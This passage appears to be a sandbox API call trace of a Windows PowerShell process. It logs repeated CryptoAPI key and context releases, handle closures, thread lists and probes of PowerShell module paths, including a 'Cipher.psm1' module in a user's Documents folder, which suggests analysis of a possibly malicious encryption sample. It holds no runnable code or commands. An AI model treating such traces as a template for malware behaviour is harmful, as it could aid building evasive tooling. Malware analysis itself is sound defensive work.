(hKey=0x5c68f40) returned 1 [0265.380] CryptReleaseContext (hProv=0x373700, dwFlags=0x0) returned 1 [0265.380] CryptReleaseContext (hProv=0x373700, dwFlags=0x0) returned 1 [0265.381] CloseHandle (hObject=0x4d4) returned 1 [0265.381] SysStringLen (param_1="Ӣ᝻娧ꏤᤜޗ搣冋㦊躽\翚簓\쓚↿ମ㪩➽ꇗ㉓趩녬㻡주弈뫎Ꜹ朗璠麵젔裎蒕㼺ㆢே㙻鴞⨉힎⾊켺搹") returned 0x30 [0265.382] CryptDestroyKey (hKey=0x5c69480) returned 1 [0265.382] CryptReleaseContext (hProv=0x5c4cf68, dwFlags=0x0) returned 1 [0265.382] CloseHandle (hObject=0x4d0) returned 1 [0265.382] CryptReleaseContext (hProv=0x5c4cf68, dwFlags=0x0) returned 1 [0265.383] CryptDestroyKey (hKey=0x3b4f28) returned 1 [0265.383] CryptReleaseContext (hProv=0x3733d0, dwFlags=0x0) returned 1 [0265.383] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0265.384] CloseHandle (hObject=0x4cc) returned 1 [0265.384] CloseHandle (hObject=0x4c8) returned 1 [0265.385] CryptReleaseContext (hProv=0x3733d0, dwFlags=0x0) returned 1 [0265.385] CryptDestroyKey (hKey=0x5c69000) returned 1 [0265.385] CryptReleaseContext (hProv=0x373700, dwFlags=0x0) returned 1 [0265.386] CryptReleaseContext (hProv=0x373700, dwFlags=0x0) returned 1 [0265.386] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0265.387] CloseHandle (hObject=0x4c4) returned 1 [0265.387] SysStringLen (param_1="ꐾ᫦﫻慄㯼◶湝鶞旌栛阗鰉௓귢猏䧤ﺦ鮦⽇險쥖ᎍ鉭ྲྀ刑砺 䦔옒ᾊገ诡铔ࢺᣕⰸ఺䩰ઔ繄ﱬ僰鉽ﾘൗ㲇녈") returned 0x30 [0265.387] CryptDestroyKey (hKey=0x5c68d80) returned 1 [0265.388] CryptReleaseContext (hProv=0x5c4ce58, dwFlags=0x0) returned 1 [0265.388] CryptReleaseContext (hProv=0x5c4ce58, dwFlags=0x0) returned 1 [0265.388] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0265.389] CryptDestroyKey (hKey=0x5c69400) returned 1 [0265.389] CryptReleaseContext (hProv=0x5c4ce58, dwFlags=0x0) returned 1 [0265.389] CryptReleaseContext (hProv=0x5c4ce58, dwFlags=0x0) returned 1 [0265.389] CloseHandle (hObject=0x4c0) returned 1 [0265.390] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0265.391] CryptDestroyKey (hKey=0x5c997a0) returned 1 [0265.391] CryptReleaseContext (hProv=0x5c4d298, dwFlags=0x0) returned 1 [0265.391] CryptReleaseContext (hProv=0x5c4d298, dwFlags=0x0) returned 1 [0265.392] SysStringLen (param_1="⌯藎㑪嶝쑉尴㻫貕囗ⷥ\໛\ឺᛓ䏪鷟쐘޾낆㉜톅讄蝣涥⓫꺻쇋뿬ᴦ墔侵魊ࠌ\㓝龠ˍꬮꎄ羫掽҂⋊) returned 0x30 [0265.392] CloseHandle (hObject=0x4bc) returned 1 [0265.393] CryptDestroyKey (hKey=0x5c68ec0) returned 1 [0265.393] CryptReleaseContext (hProv=0x374090, dwFlags=0x0) returned 1 [0265.393] CryptReleaseContext (hProv=0x374090, dwFlags=0x0) returned 1 [0265.393] CloseHandle (hObject=0x370) returned 1 [0265.394] CloseHandle (hObject=0x330) returned 1 [0265.394] CloseHandle (hObject=0x2c8) returned 1 [0265.394] CloseHandle (hObject=0x2b0) returned 1 [0265.395] CloseHandle (hObject=0x214) returned 1 [0265.395] CloseHandle (hObject=0x204) returned 1 [0265.395] CloseHandle (hObject=0x208) returned 1 [0265.396] CloseHandle (hObject=0x20c) returned 1 [0265.396] CloseHandle (hObject=0x210) returned 1 [0265.396] CloseHandle (hObject=0x22c) returned 1 [0265.397] CloseHandle (hObject=0x21c) returned 1 [0265.397] CloseHandle (hObject=0x224) returned 1 [0265.397] CloseHandle (hObject=0x220) returned 1 [0265.397] CryptDestroyKey (hKey=0x5c999a0) returned 1 [0265.398] CryptReleaseContext (hProv=0x5c4d298, dwFlags=0x0) returned 1 [0265.398] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0265.399] CryptReleaseContext (hProv=0x5c4d298, dwFlags=0x0) returned 1 [0265.399] CryptReleaseContext (hProv=0x5c4ccc0, dwFlags=0x0) returned 1 [0265.399] SysStringLen (param_1="䭩ꆼ复愺䄉㽮ងó濫ꕜ宴퀞༗䘐飾੘ቹ盚貕￪瞏䀟袩ﲞᤁ뚍㎯켂ᫌ\쏝Ꚏʚ耐䑁踾┣푋Ḧ⮃\훝") returned 0x30 [0265.401] LocalFree (hMem=0x3bc140) returned 0x0 [0265.401] CryptDestroyKey (hKey=0x5c68fc0) returned 1 [0265.401] CryptReleaseContext (hProv=0x5c4ccc0, dwFlags=0x0) returned 1 [0265.402] CryptReleaseContext (hProv=0x5c4ccc0, dwFlags=0x0) returned 1 [0265.402] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0265.402] CloseHandle (hObject=0x3d4) returned 1 [0265.403] UnmapViewOfFile (lpBaseAddress=0x4360000) returned 1 [0265.404] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0265.405] CryptDestroyKey (hKey=0x5c68e40) returned 1 [0265.405] CryptReleaseContext (hProv=0x5c4ccc0, dwFlags=0x0) returned 1 [0265.405] CryptDestroyKey (hKey=0x5c68840) returned 1 [0265.405] CryptReleaseContext (hProv=0x5c4d078, dwFlags=0x0) returned 1 [0265.406] CryptReleaseContext (hProv=0x374090, dwFlags=0x0) returned 1 [0265.406] CryptReleaseContext (hProv=0x5c4d078, dwFlags=0x0) returned 1 [0265.406] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0265.407] CloseHandle (hObject=0xf) returned 1 [0265.413] DeregisterEventSource (hEventLog=0x3f80004) returned 1 [0265.416] CryptDestroyKey (hKey=0x5c68cc0) returned 1 [0265.416] CryptReleaseContext (hProv=0x5c4d078, dwFlags=0x0) returned 1 [0265.416] SysStringLen (param_1="뮾ㆩⵚᅰ걋洓\뿜뭋╛Ꮣ䭘酃Ᲊ㶋㺗샴勼ࣦ頂觸쎝亨텮繕஠犃㧔Ŏ喟ﰘ\﫜\ꯙ榓흊Ἳ찿䣽ઉ釞辬⨸㛞⋔) returned 0x30 [0265.417] CryptReleaseContext (hProv=0x5c4d078, dwFlags=0x0) returned 1 [0265.417] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0265.418] CloseHandle (hObject=0x250) returned 1 [0265.418] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0265.420] LocalFree (hMem=0x3e84f8) returned 0x0 [0265.421] CryptDestroyKey (hKey=0x5c692c0) returned 1 [0265.421] CryptReleaseContext (hProv=0x5c4cf68, dwFlags=0x0) returned 1 [0265.421] CryptReleaseContext (hProv=0x5c4cf68, dwFlags=0x0) returned 1 [0265.422] RegCloseKey (hKey=0x80000004) returned 0x0 [0265.422] CloseHandle (hObject=0x4f0) returned 1 [0265.422] CloseHandle (hObject=0x4ec) returned 1 [0265.423] SysStringLen (param_1="ꛬ\囚ﺻ畈䄻퇦䫟柨蛣賃꘰㋝啊閗\揞馽㞿೶ࣂ炈䬺杧Ǩ簵燷ㅌ䛖懲锃鯀⏡럲綒璺㓸욋絨틔鐬哰") returned 0x30 [0265.423] CloseHandle (hObject=0x4e8) returned 1 [0265.423] CloseHandle (hObject=0x4e4) returned 1 [0265.424] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0265.424] CloseHandle (hObject=0x4e0) returned 1 [0265.425] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 Thread: id = 19 os_tid = 0x294 Thread: id = 25 os_tid = 0x90c Thread: id = 26 os_tid = 0x910 Thread: id = 27 os_tid = 0x428 Thread: id = 28 os_tid = 0x4c0 Thread: id = 33 os_tid = 0x79c Thread: id = 34 os_tid = 0xa74 Thread: id = 35 os_tid = 0x834 Thread: id = 36 os_tid = 0x9c Thread: id = 40 os_tid = 0x6d0 [0265.362] CoGetContextToken (in: pToken=0x4a3f374 | out: pToken=0x4a3f374) returned 0x0 [0265.362] IUnknown:QueryInterface (in: This=0x33fea8, riid=0x71a3b24c*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x4a3f398 | out: ppvObject=0x4a3f398*=0x33feb4) returned 0x0 [0265.362] IComThreadingInfo:GetCurrentThreadType (in: This=0x33feb4, pThreadType=0x4a3f3c4 | out: pThreadType=0x4a3f3c4*=0) returned 0x0 [0265.362] IUnknown:Release (This=0x33feb4) returned 0x0 Thread: id = 41 os_tid = 0x948 Thread: id = 43 os_tid = 0x908 Thread: id = 44 os_tid = 0x954 Thread: id = 53 os_tid = 0x97c Thread: id = 54 os_tid = 0x990 Thread: id = 59 os_tid = 0x9a8 [0167.513] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics\\Microsoft.PowerShell.Diagnostics.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.diagnostics\\microsoft.powershell.diagnostics.psd1")) returned 0x20 [0167.520] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1")) returned 0x20 [0167.520] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack\\TroubleshootingPack.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\troubleshootingpack\\troubleshootingpack.psd1")) returned 0x20 [0167.522] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1")) returned 0x20 [0167.522] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer\\BitsTransfer.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\bitstransfer\\bitstransfer.psd1")) returned 0x20 [0167.525] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSWorkflow\\PSWorkflow.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\psworkflow\\psworkflow.psd1")) returned 0xffffffff [0167.525] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils\\Microsoft.PowerShell.ODataUtils.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.odatautils\\microsoft.powershell.odatautils.psd1")) returned 0x20 [0167.537] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSWorkflowUtility\\PSWorkflowUtility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\psworkflowutility\\psworkflowutility.psd1")) returned 0xffffffff [0167.537] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDiagnostics\\PSDiagnostics.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\psdiagnostics\\psdiagnostics.psd1")) returned 0x20 [0167.538] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetworkSwitchManager\\NetworkSwitchManager.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\networkswitchmanager\\networkswitchmanager.psd1")) returned 0xffffffff [0167.540] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDesiredStateConfiguration\\PSDesiredStateConfiguration.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\psdesiredstateconfiguration\\psdesiredstateconfiguration.psd1")) returned 0x20 [0167.544] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1")) returned 0x20 [0167.544] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management\\Microsoft.WSMan.Management.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.wsman.management\\microsoft.wsman.management.psd1")) returned 0x20 [0167.545] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive\\Microsoft.PowerShell.Archive.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.archive\\microsoft.powershell.archive.psd1")) returned 0x20 [0167.557] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppLocker\\AppLocker.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\applocker\\applocker.psd1")) returned 0xffffffff [0167.558] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets\\CimCmdlets.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\cimcmdlets\\cimcmdlets.psd1")) returned 0x20 [0167.570] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1")) returned 0x20 [0167.570] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security\\Microsoft.PowerShell.Security.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.security\\microsoft.powershell.security.psd1")) returned 0x20 [0167.571] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSScheduledJob\\PSScheduledJob.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\psscheduledjob\\psscheduledjob.psd1")) returned 0x20 [0167.622] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1")) returned 0x20 [0167.623] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.LocalAccounts\\1.0.0.0\\Microsoft.PowerShell.LocalAccounts.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.localaccounts\\1.0.0.0\\microsoft.powershell.localaccounts.psd1")) returned 0xffffffff [0167.623] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psmodule.psm1")) returned 0x20 [0167.624] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1")) returned 0x20 [0167.624] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psmodule.psm1")) returned 0x20 [0167.624] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE\\ISE.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\ise\\ise.psd1")) returned 0x20 [0167.674] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1")) returned 0x20 [0167.674] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host\\Microsoft.PowerShell.Host.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.host\\microsoft.powershell.host.psd1")) returned 0x20 [0195.003] VarR8FromDec (in: pdecIn=0x4efece4, pdblOut=0x4efecd0 | out: pdblOut=0x4efecd0) returned 0x0 [0195.004] VarR8FromDec (in: pdecIn=0x4efecf8, pdblOut=0x4efece4 | out: pdblOut=0x4efece4) returned 0x0 [0195.004] VarR8FromDec (in: pdecIn=0x4efece4, pdblOut=0x4efecd0 | out: pdblOut=0x4efecd0) returned 0x0 [0195.004] VarR8FromDec (in: pdecIn=0x4efecf8, pdblOut=0x4efece4 | out: pdblOut=0x4efece4) returned 0x0 [0195.004] VarR8FromDec (in: pdecIn=0x4efece4, pdblOut=0x4efecd0 | out: pdblOut=0x4efecd0) returned 0x0 [0195.363] VarDecCmp (pdecLeft=0x4efebc4, pdecRight=0x4efebb4) returned 0x0 [0195.364] VarDecCmp (pdecLeft=0x4efebc4, pdecRight=0x4efebb4) returned 0x0 [0195.364] VarDecCmp (pdecLeft=0x4efebc4, pdecRight=0x4efebb4) returned 0x0 [0195.364] VarDecCmp (pdecLeft=0x4efebf0, pdecRight=0x4efebe0) returned 0x0 [0195.364] VarDecCmp (pdecLeft=0x4efebf0, pdecRight=0x4efebe0) returned 0x1 [0195.364] VarDecCmp (pdecLeft=0x4efebd0, pdecRight=0x4efebc0) returned 0x1 [0195.364] VarDecCmp (pdecLeft=0x4efebf0, pdecRight=0x4efebe0) returned 0x0 [0195.364] VarDecCmp (pdecLeft=0x4efebf0, pdecRight=0x4efebe0) returned 0x1 [0195.364] VarDecCmp (pdecLeft=0x4efebd0, pdecRight=0x4efebc0) returned 0x1 [0195.366] VarDecCmp (pdecLeft=0x4efeca0, pdecRight=0x4efec90) returned 0x0 [0195.366] VarDecCmp (pdecLeft=0x4efec80, pdecRight=0x4efec70) returned 0x2 [0195.366] VarDecCmp (pdecLeft=0x4efeca0, pdecRight=0x4efec90) returned 0x0 [0195.366] VarDecCmp (pdecLeft=0x4efec80, pdecRight=0x4efec70) returned 0x2 [0195.367] VarDecCmp (pdecLeft=0x4efebe4, pdecRight=0x4efebd4) returned 0x1 [0195.367] VarDecCmp (pdecLeft=0x4efeb64, pdecRight=0x4efeb54) returned 0x1 [0195.367] VarDecCmp (pdecLeft=0x4efeb64, pdecRight=0x4efeb54) returned 0x1 [0195.367] VarDecCmp (pdecLeft=0x4efeb64, pdecRight=0x4efeb54) returned 0x1 [0195.418] VarR8FromDec (in: pdecIn=0x4efeaf4, pdblOut=0x4efeae0 | out: pdblOut=0x4efeae0) returned 0x0 [0195.418] VarR8FromDec (in: pdecIn=0x4efeb08, pdblOut=0x4efeaf4 | out: pdblOut=0x4efeaf4) returned 0x0 [0195.418] VarR8FromDec (in: pdecIn=0x4efeaf4, pdblOut=0x4efeae0 | out: pdblOut=0x4efeae0) returned 0x0 [0195.418] VarR8FromDec (in: pdecIn=0x4efeb08, pdblOut=0x4efeaf4 | out: pdblOut=0x4efeaf4) returned 0x0 [0195.418] VarR8FromDec (in: pdecIn=0x4efeaf4, pdblOut=0x4efeae0 | out: pdblOut=0x4efeae0) returned 0x0 [0195.418] VarR8FromDec (in: pdecIn=0x4efeb08, pdblOut=0x4efeaf4 | out: pdblOut=0x4efeaf4) returned 0x0 [0195.418] VarR8FromDec (in: pdecIn=0x4efeaf4, pdblOut=0x4efeae0 | out: pdblOut=0x4efeae0) returned 0x0 [0195.418] VarR8FromDec (in: pdecIn=0x4efeb08, pdblOut=0x4efeaf4 | out: pdblOut=0x4efeaf4) returned 0x0 [0195.418] VarR8FromDec (in: pdecIn=0x4efeaf4, pdblOut=0x4efeae0 | out: pdblOut=0x4efeae0) returned 0x0 [0195.418] VarR8FromDec (in: pdecIn=0x4efeb08, pdblOut=0x4efeaf4 | out: pdblOut=0x4efeaf4) returned 0x0 [0195.418] VarR8FromDec (in: pdecIn=0x4efeaf4, pdblOut=0x4efeae0 | out: pdblOut=0x4efeae0) returned 0x0 [0195.418] VarR8FromDec (in: pdecIn=0x4efeb08, pdblOut=0x4efeaf4 | out: pdblOut=0x4efeaf4) returned 0x0 [0195.418] VarR8FromDec (in: pdecIn=0x4efeaf4, pdblOut=0x4efeae0 | out: pdblOut=0x4efeae0) returned 0x0 [0195.418] VarR8FromDec (in: pdecIn=0x4efeb08, pdblOut=0x4efeaf4 | out: pdblOut=0x4efeaf4) returned 0x0 [0195.418] VarR8FromDec (in: pdecIn=0x4efeaf4, pdblOut=0x4efeae0 | out: pdblOut=0x4efeae0) returned 0x0 [0195.419] VarR8FromDec (in: pdecIn=0x4efeb08, pdblOut=0x4efeaf4 | out: pdblOut=0x4efeaf4) returned 0x0 [0195.419] VarR8FromDec (in: pdecIn=0x4efeaf4, pdblOut=0x4efeae0 | out: pdblOut=0x4efeae0) returned 0x0 [0195.419] VarR8FromDec (in: pdecIn=0x4efeb08, pdblOut=0x4efeaf4 | out: pdblOut=0x4efeaf4) returned 0x0 [0195.419] VarR8FromDec (in: pdecIn=0x4efeaf4, pdblOut=0x4efeae0 | out: pdblOut=0x4efeae0) returned 0x0 [0195.419] VarR8FromDec (in: pdecIn=0x4efeb08, pdblOut=0x4efeaf4 | out: pdblOut=0x4efeaf4) returned 0x0 [0195.419] VarR8FromDec (in: pdecIn=0x4efeaf4, pdblOut=0x4efeae0 | out: pdblOut=0x4efeae0) returned 0x0 [0195.419] VarR8FromDec (in: pdecIn=0x4efeb08, pdblOut=0x4efeaf4 | out: pdblOut=0x4efeaf4) returned 0x0 [0195.419] VarR8FromDec (in: pdecIn=0x4efeaf4, pdblOut=0x4efeae0 | out: pdblOut=0x4efeae0) returned 0x0 [0195.419] VarR8FromDec (in: pdecIn=0x4efeb08, pdblOut=0x4efeaf4 | out: pdblOut=0x4efeaf4) returned 0x0 [0195.419] VarR8FromDec (in: pdecIn=0x4efeaf4, pdblOut=0x4efeae0 | out: pdblOut=0x4efeae0) returned 0x0 [0195.419] VarR8FromDec (in: pdecIn=0x4efeb08, pdblOut=0x4efeaf4 | out: pdblOut=0x4efeaf4) returned 0x0 [0195.419] VarR8FromDec (in: pdecIn=0x4efeaf4, pdblOut=0x4efeae0 | out: pdblOut=0x4efeae0) returned 0x0 [0195.419] VarR8FromDec (in: pdecIn=0x4efeb08, pdblOut=0x4efeaf4 | out: pdblOut=0x4efeaf4) returned 0x0 [0195.419] VarR8FromDec (in: pdecIn=0x4efeaf4, pdblOut=0x4efeae0 | out: pdblOut=0x4efeae0) returned 0x0 [0195.419] VarR8FromDec (in: pdecIn=0x4efeb08, pdblOut=0x4efeaf4 | out: pdblOut=0x4efeaf4) returned 0x0 [0195.419] VarR8FromDec (in: pdecIn=0x4efeaf4, pdblOut=0x4efeae0 | out: pdblOut=0x4efeae0) returned 0x0 [0195.419] VarR8FromDec (in: pdecIn=0x4efeb08, pdblOut=0x4efeaf4 | out: pdblOut=0x4efeaf4) returned 0x0 [0195.419] VarR8FromDec (in: pdecIn=0x4efeaf4, pdblOut=0x4efeae0 | out: pdblOut=0x4efeae0) returned 0x0 [0195.419] VarR8FromDec (in: pdecIn=0x4efeb08, pdblOut=0x4efeaf4 | out: pdblOut=0x4efeaf4) returned 0x0 [0195.419] VarR8FromDec (in: pdecIn=0x4efeaf4, pdblOut=0x4efeae0 | out: pdblOut=0x4efeae0) returned 0x0 [0195.420] VarR8FromDec (in: pdecIn=0x4efeb08, pdblOut=0x4efeaf4 | out: pdblOut=0x4efeaf4) returned 0x0 [0195.420] VarR8FromDec (in: pdecIn=0x4efeaf4, pdblOut=0x4efeae0 | out: pdblOut=0x4efeae0) returned 0x0 [0195.420] VarR8FromDec (in: pdecIn=0x4efeb08, pdblOut=0x4efeaf4 | out: pdblOut=0x4efeaf4) returned 0x0 [0195.420] VarR8FromDec (in: pdecIn=0x4efeaf4, pdblOut=0x4efeae0 | out: pdblOut=0x4efeae0) returned 0x0 [0195.420] VarR8FromDec (in: pdecIn=0x4efeb08, pdblOut=0x4efeaf4 | out: pdblOut=0x4efeaf4) returned 0x0 [0195.420] VarR8FromDec (in: pdecIn=0x4efeaf4, pdblOut=0x4efeae0 | out: pdblOut=0x4efeae0) returned 0x0 [0195.420] VarDecCmp (pdecLeft=0x4efe9d4, pdecRight=0x4efe9c4) returned 0x0 [0195.420] VarDecCmp (pdecLeft=0x4efe9d4, pdecRight=0x4efe9c4) returned 0x0 [0195.420] VarDecCmp (pdecLeft=0x4efe9d4, pdecRight=0x4efe9c4) returned 0x0 [0195.421] VarDecCmp (pdecLeft=0x4efea00, pdecRight=0x4efe9f0) returned 0x0 [0195.421] VarDecCmp (pdecLeft=0x4efea00, pdecRight=0x4efe9f0) returned 0x0 [0195.421] VarDecCmp (pdecLeft=0x4efea00, pdecRight=0x4efe9f0) returned 0x0 [0195.421] VarDecCmp (pdecLeft=0x4efea00, pdecRight=0x4efe9f0) returned 0x0 [0195.421] VarDecCmp (pdecLeft=0x4efea00, pdecRight=0x4efe9f0) returned 0x0 [0195.421] VarDecCmp (pdecLeft=0x4efea00, pdecRight=0x4efe9f0) returned 0x0 [0195.421] VarDecCmp (pdecLeft=0x4efea00, pdecRight=0x4efe9f0) returned 0x0 [0195.421] VarDecCmp (pdecLeft=0x4efea00, pdecRight=0x4efe9f0) returned 0x0 [0195.421] VarDecCmp (pdecLeft=0x4efea00, pdecRight=0x4efe9f0) returned 0x0 [0195.421] VarDecCmp (pdecLeft=0x4efea00, pdecRight=0x4efe9f0) returned 0x0 [0195.421] VarDecCmp (pdecLeft=0x4efea00, pdecRight=0x4efe9f0) returned 0x1 [0195.421] VarDecCmp (pdecLeft=0x4efe9e0, pdecRight=0x4efe9d0) returned 0x1 [0195.421] VarDecCmp (pdecLeft=0x4efea00, pdecRight=0x4efe9f0) returned 0x0 [0195.421] VarDecCmp (pdecLeft=0x4efea00, pdecRight=0x4efe9f0) returned 0x0 [0195.421] VarDecCmp (pdecLeft=0x4efea00, pdecRight=0x4efe9f0) returned 0x0 [0195.421] VarDecCmp (pdecLeft=0x4efea00, 